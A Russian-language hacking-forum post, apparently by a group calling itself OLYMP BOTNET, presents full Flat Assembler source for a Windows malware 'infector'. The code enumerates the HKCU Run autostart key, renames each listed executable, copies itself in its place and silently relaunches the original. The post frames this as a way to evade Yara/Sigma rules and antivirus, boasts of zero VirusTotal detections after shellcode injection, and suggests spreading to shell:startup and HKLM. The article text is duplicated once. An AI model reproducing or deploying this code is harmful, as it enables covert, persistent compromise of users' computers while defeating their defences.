stihl не предоставил(а) никакой дополнительной информации.
Здравствуйте, уважаемые участники форума! С Вами снова команда OLYMP BOTNET! Сегодня будем писать код
Время чтения статьи: 5 минут
Затрачено на написание статьи: 1 час
ВВЕДЕНИЕ
Мы (а точнее, один наш разработчик, автор данной статьи) пишем на ассемблере уже больше 6-ти лет весь свой софт. Ассемблер - невероятно мощный язык программирования, который позволяет писать невероятно маленький код, невероятно гибкий код, и самый необнаруживаемый код. Его возможности безграничны, только с помощью ассемблера можно кратчайшим путём получить 0\72 на VirusTotal, написать самый гибкий шеллкод, писать патчи, крякать, писать невероятно лёгкие и крутые хуки для функций, писать красивые GUI и много чего ещё!...
Но сегодня мы затронем очень важную тему для вредоносов - закрепление. В нынешних реалиях MITRE метки захватывают практически все возможные варианты закрепления на устройстве и помечают это флагом "Persistence", что плохо влияет на билд вредоноса. В WMI уже на залезть, Winlogon грязный, .lnk в shell:startup легко обнаруживается, а \Run в реестре и подавно...
Но что мы заметили... Все Yara\Sigma правила, которые охотятся на автозапуск, построены на СОЗДАНИИ файла, а не на его изменении. Поэтому сегодня мы будем писать код на ассемблере, который будет подменять программы в автозапуске. Приятного чтения!
(Музыка для атмосферы, можете включить во время чтения)
Лучший компилятор ассемблера
Успех выполнения задачи во многом зависит от инструмента. Мы всегда использовали и будем использовать Flat Assembler. Почему именно он? Именно данный компилятор - настоящее отражение независимой разработки на ассемблере. Его разработчик - Томаш Гриштар, писал полностью на ассемблере (TASM), а затем переписал на самого себя (FASM), также разработчик написал на ассемблере полноценный и достаточно удобный редактор кода - FASMW и достаточно много другого инструментария.
Разработчики GAS, NASM и других ассемблеров - на своём же ассемблере НЕ пишут, вместо этого сами они пишут на С или других языках, что достаточно лицемерно. Также GAS, NASM и другие асмсемблеры не способны в кроссплатформенную компиляцию (FASM работает без линковщика, поэтому Вы можете генерировать ELF из-под Windows, и PE из-под Linux), что также урезает удобства. Ну, и соответственно огромный минус - линковщики. Ассемблер должен компилироваться в сыром виде. Структура формата исполняемого файла - не более, чем байты, именно FASM это и реализует. Когда NASM и GAS заставляют использовать огромные линковщики, объектные файлы, скрипты для компиляции и прочий мусор. В общем, ассемблер - это про быструю и лёгкую разработку, поэтому - FASM.
Алгоритм заражения
Как уже было выше сказано, Yara\Sigma правила построены на создании файлов. Но у 99% всех пользователей в автозапуске УЖЕ есть какие-либо программы. Так почему бы нам просто не подменить программу из автозапуска? И, скажу наперёд, это работает и успешно обходит метку "persistence"!
Мы будем читать реестр HKEY_CURRENT_USER, ветку Software\Microsoft\Windows\CurrentVersion\Run, получать значение ключей, которые там находятся (в ключах хранится путь к программе), изменять название файла программы, вместо неё копировать туда наш вредонос и в конфигурацию вредоноса вставлять путь к оригинальной программе (мы же не хотим всё сломать, верно? Поэтому запустим оригинальную программу тоже). Таким образом, получим простейший перехват автозапуска и закрепление и пользователь даже ничего не заметит.
Вот небольшая схемка работы инфектора:
Как видим, в данном алгоритме, в названии оригинального файла, заменяется последний символ перед расширением на "_", а затем вместо настоящего файла по нужному пути копируется вредоносный код.
У некоторых может появиться вопрос - почему не сделано заражение PE? Ответ прост - потому что обнаруживается антивирусами. Нам нужен чистый от MITRE и максимально легитимный код. Подмена - наш вариант. Идём дальше...
Пишем код на ассемблере
Итак, запускаем Sublime Text (мы используем данный редактор кодаь и вам советуем) и начинаем писать код.
Полный исходник в конце статьи!
Любой код на FASM начинается с объявления формата выходного файла. У нас это 32-х битный PE GUI. Почему 32-х битный? Потому что весит меньше, потому что совместим со старыми системами, и при этом работает на новых системах - золотая серединка.
Не будем углубляться в точный синтаксис, это не статья по обучению ассемблера. Более подробно почитать можете в официальной документации - Для просмотра ссылки Войдиили Зарегистрируйся
Но объясним пару моментов. FASM позволяет указать базовый адрес PE. В коде инфектора дальше мы будем вычислять смещение, по которому нам надо будет вставить строку с путём оригинальной программы - для этого желательно указать точный базовый адрес образа, для простоты вычислений. "on '/dev/null' - полностью удаляет DOS-заглушку из PE-формата. Я пишу код на Linux, поэтому у меня это /dev/null, на Windows также есть другие способы для удаления DOS-заглушки. Благодаря этому трюку - вес программы становится ещё меньше на пару сотен байт.
entry - адрес на метку с точкой входа программы.
Далее объявляем переменные времени компиляции, необходимые для обозначения максимальных размером названий ключей и путей к программы из реестра:
VALUEDATA_SIZE = 1024
VALUENAME_SIZE = 256
Самое главное - секции. PE состоит из секций (в ELF Linux - сегменты), в них могут храниться данные или код, а могут - и данные, и код.
Секция выравнивается по определённому размеру, а поэтому разделение кода, импорта, ресурсов и данных на секции - увеличивает вес программы, поэтому мы вам демонстрируем ещё один трюк - будем писать всё в одной секции, это также намного уменьшит вес программы.
Объявляем секцию:
И внутри секции размещаем нашу метку на точку входа, соответственно. Флаги секции - readable, writeable, executable. В данной секции будет также размещена структура импорт-таблицы, некоторые могут спросить, почему не указан флаг "import". Ответ - потому что импорт-таблица хранится в DATA_DIRECTORY, то есть это "подсекция" внутри секции. И на самом деле ей флаги не нужны (кроме чтения и записи). Аналогично для ресурсов, TLS и других DATA_DIRECTORY структур - ВСЕ они могут быть объявлены в одной секции и в ЛЮБОМ месте.
Для реализации алгоритма мы будем использовать WinAPI, поэтому в конце секции объявляем импорт-таблицу и импортируем нужные функции:
Здесь я могу также подметить и само преимущество FASM - импорт-таблица генерируется самим компилятором, без внешних линковщиков. Именно поэтому код может компилироваться кроссплатформенно - компилятор не требует объектников (kernel32.lib и др.), он просто записывает статические структуры в PE-формат, которые вдальнейшем импортирует PE-загрузчик Windows. Этим и прекрасен выбранный компилятор - простота и минималистичность.
ПОСЛЕ импорт-таблицы объявим переменную, в которой вдальнейшем будет храниться путь к оригинальной программе:
infectedWith:
А затем в начале (после start) начинаем писать первые строчки кода - проверяем, была ли программа инфицирована, или же это несанкционированный запуск:
Забегая вперёд, напишем сразу реализацию в случае запуска с автозапуска - просто выведем MessageBox и запустим оригинальную программу через WinExec:
Готово! В коде вы также можете наблюдать ещё один трюк - call @f для локальных статических строк. Дабы не объявлять кучу переменных в коде, таким способом мы можем объявлять "быстрые" строки. call @f - положит в стек адрес на следующие байты и прыгнет на метку @@. Таким образом, в стек положится адрес на строку. Красиво, не так ли?
Переходим к главной части - инфицирование автозапуска.
Для начала, выделим из стека место под локальные переменные:
В esi у нас хранится адрес на ПУТЬ к программе. В edi - адрес на название ключа. Дополнительно выделяем ещё VALUEDATA_SIZE - под второй путь к программе, изменённый (для подмены), а в ebx - счётчик для перечисления ключей в реестре.
Открываем реестр по пути автозапуска:
В случае неудачного открытия - просто закрываем программу. Дальше пишем цикл с хождением по ключам:
Тут мы используем функцию RegEnumValue WinAPI для перечисления ключей. После окончания перечисления - выходим на метку .noMoreItems.
А теперь реализуем алгоритм заражения. Полный код цикла:
1. Проверяем путь файла. В ebp у нас лежит длина значения ключа (путь к программе). По esi+ebp - мы читаем конец строки. Мы проверяем, чтобы программа была .exe, и чтобы у неё имя файла уже не заканчивалось с "_" - дабы не сломать алгоритм:
(Генерируем новое название файла - подменяем последний символ на "_"):
2. Изменяем название оригинального файла, подставляем в последний символ "_", и переименовываем (функция MoveFile):
3. Получаем путь к самому себе (GetModuleFileName) и копируемся вместо оригинальной программы (CopyFile), под названием оригинальной программы:
4. Открываем нашу скопированную копию (CreateFile), устанавливаем позицию на переменную infectedWith (SetFilePointer) и записываем туда путь к оригинальной программе (WriteFile):
5. Закрываем дескриптор на свою копию (CloseHandle)
6. Повторяем это со всеми ключами
По окончанию - выравниваем стек (на самом деле необязательно) и выходим (ExitProcess).
Вес нашего инфектора - 1.5 килобайта. Считаю, что это отличный результат:
СКАНИРУЕМ НА VIRUSTOTAL
А теперь самое интересное - проверим, пропала ли метка "persistence" на VirusTotal. Проверяем свои образцы ИСКЛЮЧИТЕЛЬНО на VirusTotal, мы же не девочки
И видим следующее - метки "persistence" нет!
Видим 18 обнаружений, но ничего. Немного поправим код - перепишем его на шеллкод и сделаем инъекицю внутрь легитимной программы.
Получаем 0 и отсутствие метки "persistence"! Идеальнейшая чистота. Ассемблер - СИЛА!
ЗАКЛЮЧЕНИЕ
В заключение могу лишь добавить предложения по улучшению кода. Можно добавить также инфицирование внутри "shell:startup". А при наличии прав админа - можно также затронуть пути в HKEY_LOCAL_MACHINE. Также можно прочитать часто используемые программы, и заразить их. Всё это в сумме даст мощное закрепление на устройстве без триггеров антивирусов.
Спасибо за прочтение! Дайте знать, если Вам нравятся наши статьи.
Время чтения статьи: 5 минут
Затрачено на написание статьи: 1 час
ВВЕДЕНИЕ
Мы (а точнее, один наш разработчик, автор данной статьи) пишем на ассемблере уже больше 6-ти лет весь свой софт. Ассемблер - невероятно мощный язык программирования, который позволяет писать невероятно маленький код, невероятно гибкий код, и самый необнаруживаемый код. Его возможности безграничны, только с помощью ассемблера можно кратчайшим путём получить 0\72 на VirusTotal, написать самый гибкий шеллкод, писать патчи, крякать, писать невероятно лёгкие и крутые хуки для функций, писать красивые GUI и много чего ещё!...
Но сегодня мы затронем очень важную тему для вредоносов - закрепление. В нынешних реалиях MITRE метки захватывают практически все возможные варианты закрепления на устройстве и помечают это флагом "Persistence", что плохо влияет на билд вредоноса. В WMI уже на залезть, Winlogon грязный, .lnk в shell:startup легко обнаруживается, а \Run в реестре и подавно...
Но что мы заметили... Все Yara\Sigma правила, которые охотятся на автозапуск, построены на СОЗДАНИИ файла, а не на его изменении. Поэтому сегодня мы будем писать код на ассемблере, который будет подменять программы в автозапуске. Приятного чтения!
(Музыка для атмосферы, можете включить во время чтения)
Лучший компилятор ассемблера
Успех выполнения задачи во многом зависит от инструмента. Мы всегда использовали и будем использовать Flat Assembler. Почему именно он? Именно данный компилятор - настоящее отражение независимой разработки на ассемблере. Его разработчик - Томаш Гриштар, писал полностью на ассемблере (TASM), а затем переписал на самого себя (FASM), также разработчик написал на ассемблере полноценный и достаточно удобный редактор кода - FASMW и достаточно много другого инструментария.
Разработчики GAS, NASM и других ассемблеров - на своём же ассемблере НЕ пишут, вместо этого сами они пишут на С или других языках, что достаточно лицемерно. Также GAS, NASM и другие асмсемблеры не способны в кроссплатформенную компиляцию (FASM работает без линковщика, поэтому Вы можете генерировать ELF из-под Windows, и PE из-под Linux), что также урезает удобства. Ну, и соответственно огромный минус - линковщики. Ассемблер должен компилироваться в сыром виде. Структура формата исполняемого файла - не более, чем байты, именно FASM это и реализует. Когда NASM и GAS заставляют использовать огромные линковщики, объектные файлы, скрипты для компиляции и прочий мусор. В общем, ассемблер - это про быструю и лёгкую разработку, поэтому - FASM.
Алгоритм заражения
Как уже было выше сказано, Yara\Sigma правила построены на создании файлов. Но у 99% всех пользователей в автозапуске УЖЕ есть какие-либо программы. Так почему бы нам просто не подменить программу из автозапуска? И, скажу наперёд, это работает и успешно обходит метку "persistence"!
Мы будем читать реестр HKEY_CURRENT_USER, ветку Software\Microsoft\Windows\CurrentVersion\Run, получать значение ключей, которые там находятся (в ключах хранится путь к программе), изменять название файла программы, вместо неё копировать туда наш вредонос и в конфигурацию вредоноса вставлять путь к оригинальной программе (мы же не хотим всё сломать, верно? Поэтому запустим оригинальную программу тоже). Таким образом, получим простейший перехват автозапуска и закрепление и пользователь даже ничего не заметит.
Вот небольшая схемка работы инфектора:
Как видим, в данном алгоритме, в названии оригинального файла, заменяется последний символ перед расширением на "_", а затем вместо настоящего файла по нужному пути копируется вредоносный код.
У некоторых может появиться вопрос - почему не сделано заражение PE? Ответ прост - потому что обнаруживается антивирусами. Нам нужен чистый от MITRE и максимально легитимный код. Подмена - наш вариант. Идём дальше...
Пишем код на ассемблере
Итак, запускаем Sublime Text (мы используем данный редактор кодаь и вам советуем) и начинаем писать код.
Полный исходник в конце статьи!
Любой код на FASM начинается с объявления формата выходного файла. У нас это 32-х битный PE GUI. Почему 32-х битный? Потому что весит меньше, потому что совместим со старыми системами, и при этом работает на новых системах - золотая серединка.
Код:
format PE GUI at 0x400000 on '/dev/null'
entry start
include 'win32a.inc'
Не будем углубляться в точный синтаксис, это не статья по обучению ассемблера. Более подробно почитать можете в официальной документации - Для просмотра ссылки Войди
Но объясним пару моментов. FASM позволяет указать базовый адрес PE. В коде инфектора дальше мы будем вычислять смещение, по которому нам надо будет вставить строку с путём оригинальной программы - для этого желательно указать точный базовый адрес образа, для простоты вычислений. "on '/dev/null' - полностью удаляет DOS-заглушку из PE-формата. Я пишу код на Linux, поэтому у меня это /dev/null, на Windows также есть другие способы для удаления DOS-заглушки. Благодаря этому трюку - вес программы становится ещё меньше на пару сотен байт.
entry - адрес на метку с точкой входа программы.
Далее объявляем переменные времени компиляции, необходимые для обозначения максимальных размером названий ключей и путей к программы из реестра:
VALUEDATA_SIZE = 1024
VALUENAME_SIZE = 256
Самое главное - секции. PE состоит из секций (в ELF Linux - сегменты), в них могут храниться данные или код, а могут - и данные, и код.
Секция выравнивается по определённому размеру, а поэтому разделение кода, импорта, ресурсов и данных на секции - увеличивает вес программы, поэтому мы вам демонстрируем ещё один трюк - будем писать всё в одной секции, это также намного уменьшит вес программы.
Объявляем секцию:
Код:
section '' readable writeable executable
start:
И внутри секции размещаем нашу метку на точку входа, соответственно. Флаги секции - readable, writeable, executable. В данной секции будет также размещена структура импорт-таблицы, некоторые могут спросить, почему не указан флаг "import". Ответ - потому что импорт-таблица хранится в DATA_DIRECTORY, то есть это "подсекция" внутри секции. И на самом деле ей флаги не нужны (кроме чтения и записи). Аналогично для ресурсов, TLS и других DATA_DIRECTORY структур - ВСЕ они могут быть объявлены в одной секции и в ЛЮБОМ месте.
Для реализации алгоритма мы будем использовать WinAPI, поэтому в конце секции объявляем импорт-таблицу и импортируем нужные функции:
Код:
data import
library kernel32, 'kernel32.dll',\
advapi32, 'advapi32.dll',\
user32, 'user32.dll'
import user32,\
MessageBox, 'MessageBoxA'
include 'api/advapi32.inc'
include 'api/kernel32.inc'
end data
Здесь я могу также подметить и само преимущество FASM - импорт-таблица генерируется самим компилятором, без внешних линковщиков. Именно поэтому код может компилироваться кроссплатформенно - компилятор не требует объектников (kernel32.lib и др.), он просто записывает статические структуры в PE-формат, которые вдальнейшем импортирует PE-загрузчик Windows. Этим и прекрасен выбранный компилятор - простота и минималистичность.
ПОСЛЕ импорт-таблицы объявим переменную, в которой вдальнейшем будет храниться путь к оригинальной программе:
infectedWith:
А затем в начале (после start) начинаем писать первые строчки кода - проверяем, была ли программа инфицирована, или же это несанкционированный запуск:
Код:
cmp dword[infectedWith], 0
je .infect
; ...
; Исполнение из автозапуска
.infect:
; Не из автозапуска, надо заражать
Забегая вперёд, напишем сразу реализацию в случае запуска с автозапуска - просто выведем MessageBox и запустим оригинальную программу через WinExec:
Код:
cmp dword[infectedWith], 0
je .infect
push 0
call @f
db 'OLYMPO!', 0
@@:
call @f
db 'OLYMPO!', 0
@@:
push 0
call dword[MessageBox]
push SW_HIDE
push infectedWith
call dword[WinExec]
jmp .exit
.infect:
Готово! В коде вы также можете наблюдать ещё один трюк - call @f для локальных статических строк. Дабы не объявлять кучу переменных в коде, таким способом мы можем объявлять "быстрые" строки. call @f - положит в стек адрес на следующие байты и прыгнет на метку @@. Таким образом, в стек положится адрес на строку. Красиво, не так ли?
Переходим к главной части - инфицирование автозапуска.
Для начала, выделим из стека место под локальные переменные:
Код:
sub esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
mov esi, esp
lea edi, dword[esp+VALUEDATA_SIZE]
xor ebx, ebx
В esi у нас хранится адрес на ПУТЬ к программе. В edi - адрес на название ключа. Дополнительно выделяем ещё VALUEDATA_SIZE - под второй путь к программе, изменённый (для подмены), а в ebx - счётчик для перечисления ключей в реестре.
Открываем реестр по пути автозапуска:
Код:
push hKey
push KEY_READ
push 0
call @f
db 'Software\Microsoft\Windows\CurrentVersion\Run', 0
@@:
push HKEY_CURRENT_USER
call dword[RegOpenKeyExA]
test eax, eax
jnz .exit
В случае неудачного открытия - просто закрываем программу. Дальше пишем цикл с хождением по ключам:
Код:
.infectItems:
push VALUENAME_SIZE
mov ecx, esp
push VALUEDATA_SIZE
push esp
push esi
push infectedWith
push 0
push ecx
push edi
push ebx
push dword[hKey]
call dword[RegEnumValue]
pop ebp
add esp, 4
test eax, eax
jnz .noMoreItems
; INFECT ...
add ebx, 1
jmp .infectItems
.noMoreItems:
push dword[hKey]
call dword[RegCloseKey]
add esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
.exit:
call dword[ExitProcess]
Тут мы используем функцию RegEnumValue WinAPI для перечисления ключей. После окончания перечисления - выходим на метку .noMoreItems.
А теперь реализуем алгоритм заражения. Полный код цикла:
Код:
.infectItems:
push VALUENAME_SIZE
mov ecx, esp
push VALUEDATA_SIZE
push esp
push esi
push infectedWith
push 0
push ecx
push edi
push ebx
push dword[hKey]
call dword[RegEnumValue]
pop ebp
add esp, 4
test eax, eax
jnz .noMoreItems
1. Проверяем путь файла. В ebp у нас лежит длина значения ключа (путь к программе). По esi+ebp - мы читаем конец строки. Мы проверяем, чтобы программа была .exe, и чтобы у неё имя файла уже не заканчивалось с "_" - дабы не сломать алгоритм:
Код:
cmp dword[esi+ebp-5], '.exe'
jne .skip
cmp dword[esi+ebp-6], '_'
je .skip
(Генерируем новое название файла - подменяем последний символ на "_"):
Код:
push edi
lea edi, dword[esp+4+VALUEDATA_SIZE+VALUENAME_SIZE]
push esi
mov ecx, ebp
rep movsb
pop esi
mov byte[edi-6], '_'
pop edi
2. Изменяем название оригинального файла, подставляем в последний символ "_", и переименовываем (функция MoveFile):
Код:
lea eax, dword[esp+VALUEDATA_SIZE+VALUENAME_SIZE]
push eax
push esi
call dword[MoveFile]
cmp eax, 1
jne .skip
3. Получаем путь к самому себе (GetModuleFileName) и копируемся вместо оригинальной программы (CopyFile), под названием оригинальной программы:
Код:
sub esp, 1024
mov eax, esp
push 1024
push eax
push 0
call dword[GetModuleFileName]
mov eax, esp
push 0
push esi
push eax
call dword[CopyFile]
add esp, 1024
4. Открываем нашу скопированную копию (CreateFile), устанавливаем позицию на переменную infectedWith (SetFilePointer) и записываем туда путь к оригинальной программе (WriteFile):
Код:
push edi
push 0
push 0
push OPEN_EXISTING
push 0
push 0
push GENERIC_WRITE
push esi
call dword[CreateFile]
cmp eax, INVALID_HANDLE_VALUE
je .failedWrite
mov edi, eax
push FILE_BEGIN
push 0
lea eax, dword[RVA infectedWith-0xE00]
push eax
push edi
call dword[SetFilePointer]
push 0
push 0
push ebp
push esi
push edi
call dword[WriteFile]
push edi
call dword[CloseHandle]
.failedWrite:
pop edi
.skip:
add ebx, 1
jmp .infectItems
.noMoreItems:
push dword[hKey]
call dword[RegCloseKey]
add esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
.exit:
call dword[ExitProcess]
5. Закрываем дескриптор на свою копию (CloseHandle)
6. Повторяем это со всеми ключами
По окончанию - выравниваем стек (на самом деле необязательно) и выходим (ExitProcess).
Код:
format PE GUI at 0x400000 on '/dev/null'
entry start
include 'win32a.inc'
VALUEDATA_SIZE = 1024
VALUENAME_SIZE = 256
section '' readable writeable executable
start:
cmp dword[infectedWith], 0
je .infect
push 0
call @f
db 'OLYMPO!', 0
@@:
call @f
db 'OLYMPO!', 0
@@:
push 0
call dword[MessageBox]
push SW_HIDE
push infectedWith
call dword[WinExec]
jmp .exit
.infect:
sub esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
mov esi, esp
lea edi, dword[esp+VALUEDATA_SIZE]
xor ebx, ebx
push hKey
push KEY_READ
push 0
call @f
db 'Software\Microsoft\Windows\CurrentVersion\Run', 0
@@:
push HKEY_CURRENT_USER
call dword[RegOpenKeyExA]
test eax, eax
jnz .exit
.infectItems:
push VALUENAME_SIZE
mov ecx, esp
push VALUEDATA_SIZE
push esp
push esi
push infectedWith
push 0
push ecx
push edi
push ebx
push dword[hKey]
call dword[RegEnumValue]
pop ebp
add esp, 4
test eax, eax
jnz .noMoreItems
cmp dword[esi+ebp-5], '.exe'
jne .skip
cmp dword[esi+ebp-6], '_'
je .skip
push edi
lea edi, dword[esp+4+VALUEDATA_SIZE+VALUENAME_SIZE]
push esi
mov ecx, ebp
rep movsb
pop esi
mov byte[edi-6], '_'
pop edi
lea eax, dword[esp+VALUEDATA_SIZE+VALUENAME_SIZE]
push eax
push esi
call dword[MoveFile]
cmp eax, 1
jne .skip
sub esp, 1024
mov eax, esp
push 1024
push eax
push 0
call dword[GetModuleFileName]
mov eax, esp
push 0
push esi
push eax
call dword[CopyFile]
add esp, 1024
push edi
push 0
push 0
push OPEN_EXISTING
push 0
push 0
push GENERIC_WRITE
push esi
call dword[CreateFile]
cmp eax, INVALID_HANDLE_VALUE
je .failedWrite
mov edi, eax
push FILE_BEGIN
push 0
lea eax, dword[RVA infectedWith-0xE00]
push eax
push edi
call dword[SetFilePointer]
push 0
push 0
push ebp
push esi
push edi
call dword[WriteFile]
push edi
call dword[CloseHandle]
.failedWrite:
pop edi
.skip:
add ebx, 1
jmp .infectItems
.noMoreItems:
push dword[hKey]
call dword[RegCloseKey]
add esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
.exit:
call dword[ExitProcess]
hKey: dd 0
data import
library kernel32, 'kernel32.dll',\
advapi32, 'advapi32.dll',\
user32, 'user32.dll'
import user32,\
MessageBox, 'MessageBoxA'
include 'api/advapi32.inc'
include 'api/kernel32.inc'
end data
infectedWith:
Вес нашего инфектора - 1.5 килобайта. Считаю, что это отличный результат:
СКАНИРУЕМ НА VIRUSTOTAL
А теперь самое интересное - проверим, пропала ли метка "persistence" на VirusTotal. Проверяем свои образцы ИСКЛЮЧИТЕЛЬНО на VirusTotal, мы же не девочки
И видим следующее - метки "persistence" нет!
Видим 18 обнаружений, но ничего. Немного поправим код - перепишем его на шеллкод и сделаем инъекицю внутрь легитимной программы.
Получаем 0 и отсутствие метки "persistence"! Идеальнейшая чистота. Ассемблер - СИЛА!
ЗАКЛЮЧЕНИЕ
В заключение могу лишь добавить предложения по улучшению кода. Можно добавить также инфицирование внутри "shell:startup". А при наличии прав админа - можно также затронуть пути в HKEY_LOCAL_MACHINE. Также можно прочитать часто используемые программы, и заразить их. Всё это в сумме даст мощное закрепление на устройстве без триггеров антивирусов.
Спасибо за прочтение! Дайте знать, если Вам нравятся наши статьи.